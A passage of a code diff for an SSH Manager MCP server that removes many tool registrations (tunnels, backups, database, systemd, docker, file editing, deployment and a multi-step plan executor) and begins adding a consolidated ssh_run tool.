${description} (${actionCount} actions)` - ).join('\n'); - - return { - content: [ - { - type: 'text', - text: hooks.length > 0 ? - `[hook] Available hooks:\n${hooksInfo}` : - '[hook] No hooks configured', - }, - ], - }; - } - - case 'enable': { - if (!hook) { - throw new Error('Hook name is required for enable action'); - } - - toggleHook(hook, true); - return { - content: [ - { - type: 'text', - text: `[ok] Hook enabled: ${hook}`, - }, - ], - }; - } - - case 'disable': { - if (!hook) { - throw new Error('Hook name is required for disable action'); - } - - toggleHook(hook, false); - return { - content: [ - { - type: 'text', - text: `[ok] Hook disabled: ${hook}`, - }, - ], - }; - } - - case 'status': { - const hooks = listHooks(); - const enabledHooks = hooks.filter(h => h.enabled); - const disabledHooks = hooks.filter(h => !h.enabled); - - return { - content: [ - { - type: 'text', - text: `[hook] Hook status:\n Enabled: ${enabledHooks.map(h => h.name).join(', ') || 'none'}\n Disabled: ${disabledHooks.map(h => h.name).join(', ') || 'none'}`, - }, - ], - }; - } - } - } catch (error) { - return { - content: [ - { - type: 'text', - text: `[err] Hook operation failed: ${error.message}`, - }, - ], - isError: true, - }; - } - } -); - -// Manage profiles -registerToolConditional( - 'ssh_profile', - { - description: 'Manage SSH Manager profiles for different project types', - inputSchema: { - action: z.enum(['list', 'switch', 'current']).describe('Action to perform'), - profile: z.string().optional().describe('Profile name (for switch)') - } - }, - async ({ action, profile }) => { - try { - switch (action) { - case 'list': { - const profiles = listProfiles(); - - const profileInfo = profiles.map(p => - ` ${p.name}: ${p.description} (${p.aliasCount} aliases, ${p.hookCount} hooks)` - ).join('\n'); - - const current = getActiveProfileName(); - - return { - content: [ - { - type: 'text', - text: profiles.length > 0 ? - `[docs] Available profiles (current: ${current}):\n${profileInfo}` : - '[docs] No profiles found', - }, - ], - }; - } - - case 'switch': { - if (!profile) { - throw new Error('Profile name is required for switch action'); - } - - if (setActiveProfile(profile)) { - return { - content: [ - { - type: 'text', - text: `[ok] Switched to profile: ${profile}\n[warn] Restart Claude Code to apply profile changes`, - }, - ], - }; - } else { - throw new Error(`Failed to switch to profile: ${profile}`); - } - } - - case 'current': { - const current = getActiveProfileName(); - const profile = loadProfile(); - - return { - content: [ - { - type: 'text', - text: `[pkg] Current profile: ${current}\n[log] Description: ${profile.description || 'No description'}\n[conf] Aliases: ${Object.keys(profile.commandAliases || {}).length}\n[hook] Hooks: ${Object.keys(profile.hooks || {}).length}`, - }, - ], - }; - } - } - } catch (error) { - return { - content: [ - { - type: 'text', - text: `[err] Profile operation failed: ${error.message}`, - }, - ], - isError: true, - }; - } - } -); - -// Connection management tool -registerToolConditional( - 'ssh_connection_status', - { - description: 'Check status of SSH connections and manage connection pool', - inputSchema: { - action: z.enum(['status', 'reconnect', 'disconnect', 'cleanup']).describe('Action to perform'), - server: z.string().optional().describe('Server name (for reconnect/disconnect)') - } - }, - async ({ action, server }) => { - try { - switch (action) { - case 'status': { - const activeConnections = []; - const now = Date.now(); - - for (const [serverName, ssh] of connections.entries()) { - const timestamp = connectionTimestamps.get(serverName); - const ageMinutes = Math.floor((now - timestamp) / 1000 / 60); - const isValid = await isConnectionValid(ssh); - - activeConnections.push({ - server: serverName, - status: isValid ? '[ok] Active' : '[err] Dead', - age: `${ageMinutes} minutes`, - keepalive: keepaliveIntervals.has(serverName) ? '[ok]' : '[err]' - }); - } - - const statusInfo = activeConnections.length > 0 ? - activeConnections.map(c => ` ${c.server}: ${c.status} (age: ${c.age}, keepalive: ${c.keepalive})`).join('\n') : - ' No active connections'; - - return { - content: [ - { - type: 'text', - text: `[conn] Connection Pool Status:\n${statusInfo}\n\nSettings:\n Timeout: ${CONNECTION_TIMEOUT / 1000 / 60} minutes\n Keepalive: Every ${KEEPALIVE_INTERVAL / 1000 / 60} minutes`, - }, - ], - }; - } - - case 'reconnect': { - if (!server) { - throw new Error('Server name is required for reconnect action'); - } - - const normalizedName = server.toLowerCase(); - if (connections.has(normalizedName)) { - closeConnection(normalizedName); - } - - await getConnection(server); - return { - content: [ - { - type: 'text', - text: `[recycle] Reconnected to ${server}`, - }, - ], - }; - } - - case 'disconnect': { - if (!server) { - throw new Error('Server name is required for disconnect action'); - } - - closeConnection(server); - return { - content: [ - { - type: 'text', - text: `[conn] Disconnected from ${server}`, - }, - ], - }; - } - - case 'cleanup': { - const oldCount = connections.size; - cleanupOldConnections(); - - // Also check and remove dead connections - for (const [serverName, ssh] of connections.entries()) { - const isValid = await isConnectionValid(ssh); - if (!isValid) { - closeConnection(serverName); - } - } - - const cleaned = oldCount - connections.size; - return { - content: [ - { - type: 'text', - text: `[clean] Cleanup complete: ${cleaned} connections closed, ${connections.size} active`, - }, - ], - }; - } - } - } catch (error) { - return { - content: [ - { - type: 'text', - text: `[err] Connection management failed: ${error.message}`, - }, - ], - isError: true, - }; - } - } -); - -// SSH Tunnel Management - Create tunnel -registerToolConditional( - 'ssh_tunnel_create', - { - description: 'Create SSH tunnel (DNS+TCP reachability preview, typed state)', - inputSchema: { - server: z.string().describe('Server name or alias'), - type: z.enum(['local', 'remote', 'dynamic']).describe('local port forward, remote reverse tunnel, or dynamic SOCKS5 proxy'), - localHost: z.string().optional().describe('Local host (alias for local_host)'), - local_host: z.string().optional().describe('Local host'), - localPort: z.number().optional().describe('Local port (alias for local_port)'), - local_port: z.number().optional().describe('Local port'), - remoteHost: z.string().optional().describe('Remote host (alias for remote_host)'), - remote_host: z.string().optional().describe('Remote host'), - remotePort: z.number().optional().describe('Remote port (alias for remote_port)'), - remote_port: z.number().optional().describe('Remote port'), - preview: z.boolean().optional().describe('Probe reachability without opening tunnel'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshTunnelCreate({ - getConnection, - args: { - ...args, - local_host: args.local_host ?? args.localHost, - local_port: args.local_port ?? args.localPort, - remote_host: args.remote_host ?? args.remoteHost, - remote_port: args.remote_port ?? args.remotePort, - } - }) -); - -registerToolConditional( - 'ssh_tunnel_list', - { - description: 'List active SSH tunnels (typed state)', - inputSchema: { - server: z.string().optional().describe('Filter by server name'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshTunnelList({ args }) -); - -registerToolConditional( - 'ssh_tunnel_close', - { - description: 'Close an SSH tunnel (idempotent)', - inputSchema: { - tunnelId: z.string().optional().describe('Tunnel ID (alias for tunnel_id)'), - tunnel_id: z.string().optional().describe('Tunnel ID'), - server: z.string().optional().describe('Close all tunnels for this server'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshTunnelClose({ - args: { ...args, tunnel_id: args.tunnel_id || args.tunnelId } - }) -); - -// Manage SSH host keys -- real SHA256 fingerprint comparison, no regex guessing -registerToolConditional( - 'ssh_key_manage', - { - description: 'Manage SSH host keys (real SHA256:base64-nopad fingerprints, no TOFU)', - inputSchema: { - action: z.enum(['verify', 'accept', 'remove', 'list', 'check', 'show']).describe('Action to perform'), - server: z.string().optional().describe('Server name (or raw host for show/verify)'), - host: z.string().optional().describe('Hostname (alternative to server)'), - port: z.number().optional().describe('Port (default: 22)'), - autoAccept: z.boolean().optional().describe('Automatically accept new keys'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => { - const cfg = args.server ? getServerConfigByName(args.server) : null; - const host = args.host || (cfg && cfg.host); - const port = args.port || (cfg && parseInt(cfg.port || '22')); - return handleSshKeyManage({ args: { ...args, host, port } }); - } -); - -// Manage server aliases -registerToolConditional( - 'ssh_alias', - { - description: 'Manage server aliases for easier access', - inputSchema: { - action: z.enum(['add', 'remove', 'list']).describe('Action to perform'), - alias: z.string().optional().describe('Alias name (for add/remove)'), - server: z.string().optional().describe('Server name (for add)') - } - }, - async ({ action, alias, server }) => { - try { - switch (action) { - case 'add': { - if (!alias || !server) { - throw new Error('Both alias and server are required for add action'); - } - - const servers = loadServerConfig(); - const resolvedName = resolveServerName(server, servers); - - if (!resolvedName) { - throw new Error(`Server "${server}" not found`); - } - - addAlias(alias, resolvedName); - return { - content: [ - { - type: 'text', - text: `[ok] Alias created: ${alias} -> ${resolvedName}`, - }, - ], - }; - } - - case 'remove': { - if (!alias) { - throw new Error('Alias is required for remove action'); - } - - removeAlias(alias); - return { - content: [ - { - type: 'text', - text: `[ok] Alias removed: ${alias}`, - }, - ], - }; - } - - case 'list': { - const aliases = listAliases(); - const servers = loadServerConfig(); - - const aliasInfo = aliases.map(({ alias, target }) => { - const server = servers[target]; - return ` ${alias} -> ${target} (${server?.host || 'unknown'})`; - }).join('\n'); - - return { - content: [ - { - type: 'text', - text: aliases.length > 0 ? - `[log] Server aliases:\n${aliasInfo}` : - '[log] No aliases configured', - }, - ], - }; - } - } - } catch (error) { - return { - content: [ - { - type: 'text', - text: `[err] Alias operation failed: ${error.message}`, - }, - ], - isError: true, - }; - } - } -); - -// ============================================================================ -// BACKUP & RESTORE TOOLS -// ============================================================================ - -registerToolConditional( - 'ssh_backup_create', - { - description: 'Create content-addressed backup with sha256 verification + preview', - inputSchema: { - server: z.string().describe('Server name'), - backup_type: z.enum(['mysql', 'postgresql', 'mongodb', 'files']).optional().describe('Backup type'), - type: z.enum(['mysql', 'postgresql', 'mongodb', 'files']).optional().describe('Alias for backup_type'), - name: z.string().optional().describe('Backup name'), - database: z.string().optional().describe('Database name'), - user: z.string().optional().describe('DB user'), - dbUser: z.string().optional().describe('DB user (alias)'), - password: z.string().optional().describe('DB password'), - dbPassword: z.string().optional().describe('DB password (alias)'), - host: z.string().optional().describe('DB host'), - dbHost: z.string().optional().describe('DB host (alias)'), - port: z.number().optional().describe('DB port'), - dbPort: z.number().optional().describe('DB port (alias)'), - paths: z.array(z.string()).optional().describe('Paths to backup'), - exclude: z.array(z.string()).optional().describe('Exclude patterns'), - backup_dir: z.string().optional().describe('Backup directory'), - backupDir: z.string().optional().describe('Backup directory (alias)'), - gzip: z.boolean().optional().describe('Gzip the backup'), - compress: z.boolean().optional().describe('Alias for gzip'), - verify: z.boolean().optional().describe('Compute sha256 after backup'), - preview: z.boolean().optional().describe('Show plan without backing up'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshBackupCreate({ - getConnection, - args: { - ...args, - backup_type: args.backup_type || args.type, - user: args.user || args.dbUser, - password: args.password || args.dbPassword, - host: args.host || args.dbHost, - port: args.port || args.dbPort, - backup_dir: args.backup_dir || args.backupDir, - gzip: args.gzip ?? args.compress, - }, - }) -); - -registerToolConditional( - 'ssh_backup_list', - { - description: 'List backups (typed list with sha256, newest-first, meta sidecar parsing)', - inputSchema: { - server: z.string().describe('Server name'), - backup_type: z.enum(['mysql', 'postgresql', 'mongodb', 'files']).optional().describe('Filter'), - type: z.enum(['mysql', 'postgresql', 'mongodb', 'files']).optional().describe('Alias'), - backup_dir: z.string().optional().describe('Backup directory'), - backupDir: z.string().optional().describe('Backup directory (alias)'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshBackupList({ - getConnection, - args: { - ...args, - backup_type: args.backup_type || args.type, - backup_dir: args.backup_dir || args.backupDir, - } - }) -); - -registerToolConditional( - 'ssh_backup_restore', - { - description: 'Restore backup (sha256-verified, high-risk preview)', - inputSchema: { - server: z.string().describe('Server name'), - backup_id: z.string().optional().describe('Backup ID'), - backupId: z.string().optional().describe('Backup ID (alias)'), - database: z.string().optional().describe('Target database'), - user: z.string().optional().describe('DB user'), - dbUser: z.string().optional().describe('DB user (alias)'), - password: z.string().optional().describe('DB password'), - dbPassword: z.string().optional().describe('DB password (alias)'), - host: z.string().optional().describe('DB host'), - dbHost: z.string().optional().describe('DB host (alias)'), - port: z.number().optional().describe('DB port'), - dbPort: z.number().optional().describe('DB port (alias)'), - target_path: z.string().optional().describe('Target path for files'), - targetPath: z.string().optional().describe('Target path (alias)'), - backup_dir: z.string().optional().describe('Backup directory'), - backupDir: z.string().optional().describe('Backup directory (alias)'), - verify: z.boolean().optional().describe('Verify sha256 before restore'), - preview: z.boolean().optional().describe('Show plan without restoring'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshBackupRestore({ - getConnection, - args: { - ...args, - backup_id: args.backup_id || args.backupId, - user: args.user || args.dbUser, - password: args.password || args.dbPassword, - host: args.host || args.dbHost, - port: args.port || args.dbPort, - target_path: args.target_path || args.targetPath, - backup_dir: args.backup_dir || args.backupDir, - } - }) -); - -registerToolConditional( - 'ssh_backup_schedule', - { - description: 'Schedule automatic backups via cron (preview-capable)', - inputSchema: { - server: z.string().describe('Server name'), - cron: z.string().optional().describe('Cron schedule'), - schedule: z.string().optional().describe('Cron schedule (alias)'), - backup_type: z.enum(['mysql', 'postgresql', 'mongodb', 'files']).optional().describe('Backup type'), - type: z.enum(['mysql', 'postgresql', 'mongodb', 'files']).optional().describe('Alias'), - name: z.string().optional().describe('Backup name'), - database: z.string().optional().describe('Database name'), - paths: z.array(z.string()).optional().describe('Paths to backup'), - retention: z.number().optional().describe('Retention days'), - preview: z.boolean().optional().describe('Show cron plan without installing'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshBackupSchedule({ - getConnection, - args: { - ...args, - cron: args.cron || args.schedule, - backup_type: args.backup_type || args.type, - } - }) -); - -// ============================================================================ -// HEALTH CHECKS & MONITORING TOOLS -// ============================================================================ - -registerToolConditional( - 'ssh_health_check', - { - description: 'Comprehensive health snapshot (cpu, memory, disk, load, uptime, cores) via one bash -c call with marker-delimited sections', - inputSchema: { - server: z.string().describe('Server name'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshHealthCheck({ getConnection, args }) -); - -registerToolConditional( - 'ssh_service_status', - { - description: 'Typed systemd service status (ActiveState/SubState/LoadState/UnitFileState + last 10 status lines)', - inputSchema: { - server: z.string().describe('Server name'), - service: z.string().describe('Service unit name (e.g. "nginx" or "nginx.service")'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshServiceStatus({ getConnection, args }) -); - -registerToolConditional( - 'ssh_process_manager', - { - description: 'List/kill/info processes (typed, preview-capable for kills)', - inputSchema: { - server: z.string().describe('Server name'), - action: z.enum(['list', 'kill', 'info']).describe('Action'), - pid: z.number().optional().describe('Process ID'), - signal: z.enum(['TERM', 'KILL', 'HUP', 'INT', 'QUIT']).optional().describe('Signal'), - sortBy: z.enum(['cpu', 'memory']).optional().describe('Sort key'), - sort_by: z.enum(['cpu', 'memory']).optional().describe('Sort key (alias)'), - limit: z.number().optional().describe('Row cap'), - filter: z.string().optional().describe('Name/command filter'), - preview: z.boolean().optional().describe('Preview the kill'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshProcessManager({ - getConnection, - args: { ...args, sort_by: args.sort_by || args.sortBy } - }) -); - -registerToolConditional( - 'ssh_alert_setup', - { - description: 'Configure and check health-threshold alerts. Stores config per server on the operator machine; `check` compares current health_check metrics to thresholds. No background runner -- wire `check` into cron or ssh_hooks for continuous monitoring.', - inputSchema: { - server: z.string().describe('Server name'), - action: z.enum(['set', 'get', 'check']).describe('set thresholds, get config, or check current metrics against thresholds'), - cpuThreshold: z.number().min(0).max(100).optional().describe('CPU usage threshold percent (0-100)'), - memoryThreshold: z.number().min(0).max(100).optional().describe('Memory usage threshold percent (0-100)'), - diskThreshold: z.number().min(0).max(100).optional().describe('Disk usage threshold percent applied to every mount (0-100)'), - enabled: z.boolean().optional().describe('Enable or disable alert evaluation (default true)'), - format: z.enum(['markdown', 'json']).optional().describe('Output format'), - } - }, - async (args) => handleSshAlertSetup({ getConnection, args }) -); - -// ============================================================================ -// DATABASE MANAGEMENT TOOLS -// ============================================================================ - -registerToolConditional( - 'ssh_db_dump', - { - description: 'Dump database (password via env, never argv)', - inputSchema: { - server: z.string().describe('Server name'), - db_type: z.enum(['mysql', 'postgresql', 'mongodb']).optional().describe('DB type'), - type: z.enum(['mysql', 'postgresql', 'mongodb']).optional().describe('Alias'), - database: z.string().describe('Database name'), - output_file: z.string().optional().describe('Output path'), - outputFile: z.string().optional().describe('Output path (alias)'), - user: z.string().optional().describe('DB user'), - dbUser: z.string().optional().describe('DB user (alias)'), - password: z.string().optional().describe('DB password'), - dbPassword: z.string().optional().describe('DB password (alias)'), - host: z.string().optional().describe('DB host'), - dbHost: z.string().optional().describe('DB host (alias)'), - port: z.number().optional().describe('DB port'), - dbPort: z.number().optional().describe('DB port (alias)'), - gzip: z.boolean().optional().describe('Gzip output'), - compress: z.boolean().optional().describe('Alias for gzip'), - tables: z.array(z.string()).optional().describe('Specific tables'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshDbDump({ - getConnection, - args: { - ...args, - db_type: args.db_type || args.type, - output_file: args.output_file || args.outputFile, - user: args.user || args.dbUser, - password: args.password || args.dbPassword, - host: args.host || args.dbHost, - port: args.port || args.dbPort, - gzip: args.gzip ?? args.compress, - } - }) -); - -registerToolConditional( - 'ssh_db_import', - { - description: 'Import DB (preview-capable, high-risk guardrails)', - inputSchema: { - server: z.string().describe('Server name'), - db_type: z.enum(['mysql', 'postgresql', 'mongodb']).optional().describe('DB type'), - type: z.enum(['mysql', 'postgresql', 'mongodb']).optional().describe('Alias'), - database: z.string().describe('Target database'), - input_file: z.string().optional().describe('Input path'), - inputFile: z.string().optional().describe('Input path (alias)'), - user: z.string().optional().describe('DB user'), - dbUser: z.string().optional().describe('DB user (alias)'), - password: z.string().optional().describe('DB password'), - dbPassword: z.string().optional().describe('DB password (alias)'), - host: z.string().optional().describe('DB host'), - dbHost: z.string().optional().describe('DB host (alias)'), - port: z.number().optional().describe('DB port'), - dbPort: z.number().optional().describe('DB port (alias)'), - drop: z.boolean().optional().describe('Drop existing before import (Mongo)'), - preview: z.boolean().optional().describe('Show plan without importing'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshDbImport({ - getConnection, - args: { - ...args, - db_type: args.db_type || args.type, - input_file: args.input_file || args.inputFile, - user: args.user || args.dbUser, - password: args.password || args.dbPassword, - host: args.host || args.dbHost, - port: args.port || args.dbPort, - } - }) -); - -registerToolConditional( - 'ssh_db_list', - { - description: 'List databases or tables/collections (typed)', - inputSchema: { - server: z.string().describe('Server name'), - db_type: z.enum(['mysql', 'postgresql', 'mongodb']).optional().describe('DB type'), - type: z.enum(['mysql', 'postgresql', 'mongodb']).optional().describe('Alias'), - database: z.string().optional().describe('DB (lists tables) or omit for databases'), - user: z.string().optional().describe('DB user'), - dbUser: z.string().optional().describe('DB user (alias)'), - password: z.string().optional().describe('DB password'), - dbPassword: z.string().optional().describe('DB password (alias)'), - host: z.string().optional().describe('DB host'), - dbHost: z.string().optional().describe('DB host (alias)'), - port: z.number().optional().describe('DB port'), - dbPort: z.number().optional().describe('DB port (alias)'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshDbList({ - getConnection, - args: { - ...args, - db_type: args.db_type || args.type, - user: args.user || args.dbUser, - password: args.password || args.dbPassword, - host: args.host || args.dbHost, - port: args.port || args.dbPort, - } - }) -); - -registerToolConditional( - 'ssh_db_query', - { - description: 'Execute SELECT query (token-level SQL safety, no substring matching)', - inputSchema: { - server: z.string().describe('Server name'), - db_type: z.enum(['mysql', 'postgresql', 'mongodb']).optional().describe('DB type'), - type: z.enum(['mysql', 'postgresql', 'mongodb']).optional().describe('Alias'), - database: z.string().describe('Database name'), - query: z.string().describe('SELECT-only SQL or Mongo find'), - collection: z.string().optional().describe('Collection (MongoDB)'), - user: z.string().optional().describe('DB user'), - dbUser: z.string().optional().describe('DB user (alias)'), - password: z.string().optional().describe('DB password'), - dbPassword: z.string().optional().describe('DB password (alias)'), - host: z.string().optional().describe('DB host'), - dbHost: z.string().optional().describe('DB host (alias)'), - port: z.number().optional().describe('DB port'), - dbPort: z.number().optional().describe('DB port (alias)'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshDbQuery({ - getConnection, - args: { - ...args, - db_type: args.db_type || args.type, - user: args.user || args.dbUser, - password: args.password || args.dbPassword, - host: args.host || args.dbHost, - port: args.port || args.dbPort, - } - }) -); - -// =========================================================================== -// NEW "gamechanger" tools -- modular handlers not present in v1 -// =========================================================================== - -registerToolConditional( - 'ssh_cat', - { - description: 'Read remote file slices (head/tail/grep/byte-offset+limit/line-range) -- UTF-8 safe', - inputSchema: { - server: z.string().describe('Server name'), - file: z.string().describe('Remote file path'), - head: z.number().optional().describe('Read first N lines'), - tail: z.number().optional().describe('Read last N lines'), - grep: z.string().optional().describe('Extended-regex filter (grep -E)'), - line_start: z.number().optional().describe('Start line (1-indexed) for line range mode'), - line_end: z.number().optional().describe('End line (1-indexed) for line range mode'), - offset: z.number().optional().describe('Byte offset for byte slice mode'), - limit: z.number().optional().describe('Byte limit for byte slice mode'), - timeout: z.number().optional().describe('Timeout in ms (default 15000)'), - maxLen: z.number().optional().describe('Output truncation cap (default 10000 chars)'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshCat({ getConnection, args }) -); - -registerToolConditional( - 'ssh_systemctl', - { - description: 'systemctl wrapper (whitelisted actions, unit-name validated)', - inputSchema: { - server: z.string().describe('Server name'), - action: z.enum(['status', 'start', 'stop', 'restart', 'reload', 'enable', 'disable', 'list-units', 'list-unit-files', 'daemon-reload']).describe('Action (use status for is-active/is-enabled info)'), - unit: z.string().optional().describe('Unit name, e.g. "nginx.service" (not required for list-units, list-unit-files, daemon-reload)'), - pattern: z.string().optional().describe('Unit-name glob for list-units/list-unit-files'), - use_sudo: z.boolean().optional().describe('Force sudo on/off (defaults: on for mutating actions, off for read-only)'), - preview: z.boolean().optional().describe('Preview mutating actions without running them'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshSystemctl({ getConnection, args }) -); - -registerToolConditional( - 'ssh_journalctl', - { - description: 'Read systemd journal (typed JSONL; priority normalization; no follow -- use ssh_tail_start for streaming)', - inputSchema: { - server: z.string().describe('Server name'), - unit: z.string().optional().describe('Unit to filter by (e.g. "sshd.service")'), - since: z.string().optional().describe('Time lower bound (e.g., "1 hour ago", "2026-04-14 12:00")'), - until: z.string().optional().describe('Time upper bound'), - priority: z.string().optional().describe('Priority filter (debug/info/notice/warning/err/crit/alert/emerg, default info)'), - lines: z.number().optional().describe('Max lines'), - grep: z.string().optional().describe('Extended-regex filter on message body'), - follow: z.boolean().optional().describe('Rejected -- use ssh_tail_start for streaming'), - json: z.boolean().optional().describe('Parse journal output as JSONL (default true); set false to parse as plain text'), - format: z.enum(['markdown', 'json']).optional().describe('Tool output format') - } - }, - async (args) => handleSshJournalctl({ getConnection, args }) -); - -registerToolConditional( - 'ssh_docker', - { - description: 'Docker CLI wrapper (container/image regex validation, preview on mutations)', - inputSchema: { - server: z.string().describe('Server name'), - action: z.enum(['ps', 'images', 'inspect', 'logs', 'start', 'stop', 'restart', 'rm', 'rmi', 'pull', 'exec']).describe('Docker action'), - container: z.string().optional().describe('Container name/ID'), - image: z.string().optional().describe('Image reference'), - command: z.string().optional().describe('exec command (for action=exec)'), - tail_lines: z.number().optional().describe('logs tail line count'), - follow: z.boolean().optional().describe('logs -f streaming (only meaningful for action=logs)'), - preview: z.boolean().optional().describe('Preview mutating actions (start/stop/restart/rm/rmi/pull/exec)'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshDocker({ getConnection, args }) -); - -registerToolConditional( - 'ssh_port_test', - { - description: 'Port reachability probe (configurable DNS -> TCP -> TLS -> HTTP chain)', - inputSchema: { - server: z.string().optional().describe('Server to launch the outbound probe from (omit for local probe)'), - target_host: z.string().describe('Target host or IP'), - target_port: z.number().optional().describe('Target port (required for tcp/tls/http probes)'), - probe_chain: z.array(z.enum(['dns', 'tcp', 'tls', 'http'])).optional().describe('Probe ordering (default ["dns","tcp","tls","http"])'), - timeout_ms_per_probe: z.number().optional().describe('Per-probe timeout in ms'), - continue_on_fail: z.boolean().optional().describe('Continue running later probes even if an earlier one fails'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshPortTest({ getConnection, args }) -); - -registerToolConditional( - 'ssh_diff', - { - description: 'Diff two files (same-server remote:remote, or cross-server by specifying server_b)', - inputSchema: { - server: z.string().describe('Server hosting path_a'), - path_a: z.string().describe('First file path'), - path_b: z.string().describe('Second file path (on `server` unless server_b set)'), - server_b: z.string().optional().describe('If set, path_b lives on this other server (cross-server diff)'), - preview: z.boolean().optional().describe('Show plan without running diff'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshDiff({ getConnection, args }) -); - -registerToolConditional( - 'ssh_edit', - { - description: 'Atomic safe-edit (tmp -> optional syntax-check -> cp backup -> mv swap, preview-capable)', - inputSchema: { - server: z.string().describe('Server name'), - path: z.string().describe('Remote file path'), - new_content: z.string().optional().describe('Replacement content for the whole file (mutually exclusive with patch)'), - patch: z.array(z.object({ - find: z.string().describe('Literal string to replace'), - replace: z.string().describe('Replacement'), - })).optional().describe('List of find/replace edits to apply in order (mutually exclusive with new_content)'), - syntax_check: z.union([z.string(), z.enum(['auto', 'off'])]).optional().describe('Syntax checker: "auto" picks by extension, "off" disables, or a literal command'), - preview: z.boolean().optional().describe('Show plan without editing'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshEdit({ getConnection, args }) -); - -registerToolConditional( - 'ssh_tail_start', - { - description: 'Start a sessionized tail follow. Returns session_id; read new output later with ssh_tail_read; stop with ssh_tail_stop.', - inputSchema: { - server: z.string().describe('Server name'), - file: z.string().describe('Path to log file'), - lines: z.number().optional().describe('Initial trailing lines to emit (default 50)'), - grep: z.string().optional().describe('Extended-regex filter'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshTailStart({ getConnection, args }) -); - -registerToolConditional( - 'ssh_tail_read', - { - description: 'Pull buffered output from a tail session started with ssh_tail_start. Cursor-style: pass since_offset to resume from a known point.', - inputSchema: { - session_id: z.string().describe('Tail session ID returned by ssh_tail_start'), - since_offset: z.number().optional().describe('Resume from this byte offset (returned as total_bytes on prior read). Omit to return the current ring buffer window.'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshTailRead({ args }) -); - -registerToolConditional( - 'ssh_tail_stop', - { - description: 'Stop a tail session (idempotent)', - inputSchema: { - session_id: z.string().describe('Tail session ID'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshTailStop({ args }) -); - -registerToolConditional( - 'ssh_session_replay', - { - description: 'Replay command history from a session', - inputSchema: { - session_id: z.string().describe('Session ID'), - limit: z.number().optional().describe('Max commands to replay'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshSessionReplay({ args }) -); - -registerToolConditional( - 'ssh_session_memory', - { - description: 'Snapshot the inferred memory/state of a running session (env vars set, cwd, last exit code, etc.)', - inputSchema: { - session_id: z.string().describe('Session ID returned by ssh_session_start'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshSessionMemory({ args }) -); - -registerToolConditional( - 'ssh_deploy_artifact', - { - description: 'Declarative artifact deploy (snapshot -> upload -> post_hooks -> health_check -> rollback)', - inputSchema: { - server: z.string().describe('Server name'), - artifact_local_path: z.string().describe('Local artifact to deploy'), - target_path: z.string().describe('Remote target path'), - post_hooks: z.array(z.string()).optional().describe('Post-deploy commands'), - health_check: z.string().optional().describe('Health check command'), - rollback_on_fail: z.boolean().optional().describe('Auto-rollback on failure (default: true)'), - preview: z.boolean().optional().describe('Show plan without deploying'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshDeploy({ getConnection, args }) -); - -registerToolConditional( - 'ssh_plan', - { - description: 'Declarative multi-step plan executor with approve_token gate for high-risk steps', - inputSchema: { - steps: z.array(z.any()).describe('Ordered list of tool invocations'), - mode: z.enum(['preview', 'dry_run', 'run']).optional().describe('Execution mode'), - approve_token: z.string().optional().describe('Token required for high-risk steps'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => { - const dispatch = { - ssh_execute: (a) => handleSshExecute({ getConnection, args: a }), - ssh_execute_sudo: (a) => handleSshExecuteSudo({ getConnection, getServerConfig: getServerConfigByName, args: a }), - ssh_upload: (a) => handleSshUpload({ getConnection, args: a }), - ssh_download: (a) => handleSshDownload({ getConnection, args: a }), - ssh_cat: (a) => handleSshCat({ getConnection, args: a }), - ssh_edit: (a) => handleSshEdit({ getConnection, args: a }), - ssh_docker: (a) => handleSshDocker({ getConnection, args: a }), - ssh_systemctl: (a) => handleSshSystemctl({ getConnection, args: a }), - ssh_journalctl: (a) => handleSshJournalctl({ getConnection, args: a }), - ssh_health_check: (a) => handleSshHealthCheck({ getConnection, args: a }), - ssh_service_status: (a) => handleSshServiceStatus({ getConnection, args: a }), - ssh_backup_create: (a) => handleSshBackupCreate({ getConnection, args: a }), - ssh_backup_restore: (a) => handleSshBackupRestore({ getConnection, args: a }), - ssh_deploy_artifact: (a) => handleSshDeploy({ getConnection, args: a }), - ssh_db_query: (a) => handleSshDbQuery({ getConnection, args: a }), - ssh_port_test: (a) => handleSshPortTest({ getConnection, args: a }), - ssh_tunnel_create: (a) => handleSshTunnelCreate({ getConnection, args: a }), - }; - return handleSshPlan({ dispatch, args }); - } -); + return g ? { name: g.name, servers: g.servers } : null; + } catch (_) { + return null; + } + }, +}; + +registerToolConditional('ssh_run', { + description: V4_TOOL_DESCRIPTIONS.ssh_run, + inputSchema: { + server: z.string().optional() + .describe('Server name; omit only for action fleet, which targets a group'), + action: z.enum(['exec', 